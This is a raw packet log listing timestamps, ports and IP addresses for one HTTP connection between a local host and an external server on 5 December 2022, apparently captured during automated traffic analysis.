Dec 5, 2022 06:44:36.507667065 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507669926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507688999 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507708073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507716894 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507726908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507740974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507746935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507766008 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507781982 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507782936 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507802963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507807970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507822037 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507836103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507841110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507858992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507877111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507879019 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507894993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507899046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507914066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507915020 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507932901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507951021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507951975 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507970095 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.507972002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.507991076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508008003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508008957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508008957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508008957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508028030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508037090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508048058 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508054972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508068085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508074045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508088112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508089066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508105993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508110046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508127928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508137941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508158922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508162022 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508177042 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508178949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508196115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508203030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508213997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508222103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508234024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508239031 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508251905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508255959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508272886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508272886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508291006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508291006 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508311033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508311987 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508331060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508336067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508347988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508354902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508368015 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508372068 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508385897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508388996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508404970 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508404970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508423090 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508426905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508446932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508447886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508465052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508465052 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508482933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508486986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508506060 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508506060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508524895 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508529902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508542061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508548021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508562088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508564949 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508583069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508584023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508600950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508601904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508616924 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508620977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508639097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508647919 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508656979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508671999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508671999 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508675098 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508692026 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508694887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508713961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508722067 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508730888 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508744955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508744955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508752108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508766890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508771896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508790016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508805990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508816957 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508822918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508833885 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508841038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508858919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508871078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508876085 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508889914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508893967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508912086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508925915 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508929968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508943081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.508946896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508984089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.508997917 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509004116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509016991 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509025097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509043932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509062052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509063959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509080887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509082079 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509099007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509103060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509119034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509136915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509146929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509146929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509155035 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509167910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509175062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509183884 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509195089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509201050 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509213924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509217978 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509232998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509239912 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509252071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509255886 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509270906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509272099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509290934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509294033 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509310961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509310961 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509327888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509330988 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509352922 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509370089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509371996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509371996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509388924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509393930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509407997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509416103 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509427071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509433985 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509445906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509449959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509464025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509466887 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509483099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509489059 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509501934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509507895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509522915 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.509525061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509541035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.509557009 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514174938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514256001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514292955 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514329910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514372110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514390945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514408112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514425993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514437914 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514444113 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514461040 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514472008 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514480114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514492035 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514498949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514511108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514518023 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514525890 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514537096 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514540911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514555931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514558077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514574051 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514575005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514592886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514610052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514617920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514628887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514636993 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514647007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514666080 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514688969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514755011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514771938 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514789104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514806986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514820099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514826059 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514837980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514844894 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514863014 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514874935 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514888048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514904976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514925003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514930010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514944077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514949083 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514962912 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514971972 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.514983892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.514991045 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515002966 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515010118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515022993 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515027046 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515043020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515044928 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515062094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515067101 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515083075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515101910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515113115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515131950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515149117 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515161037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515167952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515187025 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515187025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515187025 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515207052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515209913 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515227079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515232086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515244961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515254021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515263081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515273094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515283108 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515290976 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515302896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515314102 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515331030 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515347958 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515367985 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515386105 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515403986 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515420914 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515424013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515424013 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515440941 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515445948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515460968 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515460968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515481949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515499115 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515500069 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515518904 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515523911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515523911 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515537977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515543938 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515558004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515567064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515584946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515600920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515630960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515649080 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515665054 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515681028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515693903 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515700102 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515717983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515718937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515736103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515742064 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515753984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515769005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515801907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515887022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515902996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515921116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515937090 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515952110 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515960932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515971899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515979052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.515994072 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.515997887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516014099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516016960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516031981 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516036034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516057014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516057968 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516057014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516083956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516084909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516102076 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516103983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516134024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516138077 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516150951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516155005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516170979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516177893 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516187906 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516197920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516207933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516215086 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516226053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516237974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516256094 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.516284943 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.516288042 CET	49704	80	192.168.2.3	66.235.200.147
